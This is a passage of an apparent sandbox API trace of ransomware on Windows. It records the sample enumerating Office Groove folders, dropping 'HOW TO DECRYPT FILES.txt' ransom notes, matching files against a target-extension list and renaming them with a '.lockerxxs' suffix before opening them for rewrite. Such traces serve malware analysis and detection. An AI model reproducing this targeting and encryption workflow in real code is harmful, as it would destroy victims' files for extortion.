Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_pressed.gif") returned="rtf_pressed.gif" [0065.189] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.189] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.189] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.189] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.189] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="SAVE.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF" [0065.189] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27739b00, ftCreationTime.dwHighDateTime=0x1ca408b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27739b00, ftLastWriteTime.dwHighDateTime=0x1ca408b, nFileSizeHigh=0x0, nFileSizeLow=0x15162, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0065.189] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.189] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SUBMIT.JS") returned -1 [0065.190] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SUBMIT.JS") returned -1 [0065.190] lstrcmpiA (lpString1="", lpString2="SUBMIT.JS") returned -1 [0065.190] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SAVE.GIF") returned="SAVE.GIF" [0065.190] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.190] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.190] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.190] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="SUBMIT.JS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS" [0065.190] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xefe7, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1 [0065.190] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.190] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="utilityfunctions.js") returned -1 [0065.190] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="utilityfunctions.js") returned -1 [0065.190] lstrcmpiA (lpString1="", lpString2="utilityfunctions.js") returned -1 [0065.190] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\SUBMIT.JS") returned="SUBMIT.JS" [0065.190] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.190] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.190] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.191] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="utilityfunctions.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js" [0065.191] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1 [0065.191] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.191] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="validation.js") returned -1 [0065.191] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="validation.js") returned -1 [0065.191] lstrcmpiA (lpString1="", lpString2="validation.js") returned -1 [0065.191] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\utilityfunctions.js") returned="utilityfunctions.js" [0065.191] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.191] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.191] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.191] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.191] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="validation.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\validation.js" [0065.191] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b43100, ftCreationTime.dwHighDateTime=0x1ca0352, ftLastAccessTime.dwLowDateTime=0x5e4444b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53b43100, ftLastWriteTime.dwHighDateTime=0x1ca0352, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 0 [0065.191] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.192] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="GrooveProjectToolset", cAlternateFileName="GRA998~1")) returned 1 [0065.192] lstrcmpA (lpString1=".", lpString2="GrooveProjectToolset") returned -1 [0065.192] lstrcmpA (lpString1="..", lpString2="GrooveProjectToolset") returned -1 [0065.192] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*.*") returned="*.*" [0065.192] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\", lpString2="GrooveProjectToolset" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" [0065.192] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.236] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.240] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0065.243] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.243] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.243] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3559c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb3559c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BriefcaseIcon.jpg", cAlternateFileName="BRIEFC~1.JPG")) returned 1 [0065.243] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.243] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BriefcaseIcon.jpg") returned 1 [0065.243] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BriefcaseIcon.jpg") returned 1 [0065.243] lstrcmpiA (lpString1="", lpString2="BriefcaseIcon.jpg") returned -1 [0065.243] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*.*") returned="*.*" [0065.243] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.243] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.243] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.243] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0xffffffff [0065.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.255] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.255] CloseHandle (hObject=0x98) returned 1 [0065.258] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="BriefcaseIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" [0065.258] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.ems") returned 0 [0065.258] lstrlenA (lpString="*.ems") returned 5 [0065.258] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.db") returned 0 [0065.258] lstrlenA (lpString="*.db") returned 4 [0065.259] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.dbf") returned 0 [0065.259] lstrlenA (lpString="*.dbf") returned 5 [0065.259] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.myox") returned 0 [0065.259] lstrlenA (lpString="*.myox") returned 6 [0065.259] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.myo") returned 0 [0065.259] lstrlenA (lpString="*.myo") returned 5 [0065.259] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbw") returned 0 [0065.259] lstrlenA (lpString="*.qbw") returned 5 [0065.259] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbb") returned 0 [0065.261] lstrlenA (lpString="*.qbb") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbm") returned 0 [0065.261] lstrlenA (lpString="*.qbm") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbo") returned 0 [0065.261] lstrlenA (lpString="*.qbo") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbx") returned 0 [0065.261] lstrlenA (lpString="*.qbx") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qba") returned 0 [0065.261] lstrlenA (lpString="*.qba") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qby") returned 0 [0065.261] lstrlenA (lpString="*.qby") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qbj") returned 0 [0065.261] lstrlenA (lpString="*.qbj") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.ofx") returned 0 [0065.261] lstrlenA (lpString="*.ofx") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.qif") returned 0 [0065.261] lstrlenA (lpString="*.qif") returned 5 [0065.261] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.mye") returned 0 [0065.261] lstrlenA (lpString="*.mye") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.mbox") returned 0 [0065.265] lstrlenA (lpString="*.mbox") returned 6 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.eml") returned 0 [0065.265] lstrlenA (lpString="*.eml") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.pst") returned 0 [0065.265] lstrlenA (lpString="*.pst") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.ost") returned 0 [0065.265] lstrlenA (lpString="*.ost") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.idx") returned 0 [0065.265] lstrlenA (lpString="*.idx") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.dbx") returned 0 [0065.265] lstrlenA (lpString="*.dbx") returned 5 [0065.265] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.sql") returned 0 [0065.265] lstrlenA (lpString="*.sql") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.mdb") returned 0 [0065.267] lstrlenA (lpString="*.mdb") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.fdb") returned 0 [0065.267] lstrlenA (lpString="*.fdb") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.wab") returned 0 [0065.267] lstrlenA (lpString="*.wab") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.dat") returned 0 [0065.267] lstrlenA (lpString="*.dat") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.txt") returned 0 [0065.267] lstrlenA (lpString="*.txt") returned 5 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.jpeg") returned 0 [0065.267] lstrlenA (lpString="*.jpeg") returned 6 [0065.267] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", pszSpec="*.jpg") returned 1 [0065.267] lstrlenA (lpString="*.jpg") returned 5 [0065.268] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" [0065.268] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" [0065.268] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg." [0065.268] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg.lockerxxs" [0065.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\briefcaseicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.268] GetFileSize 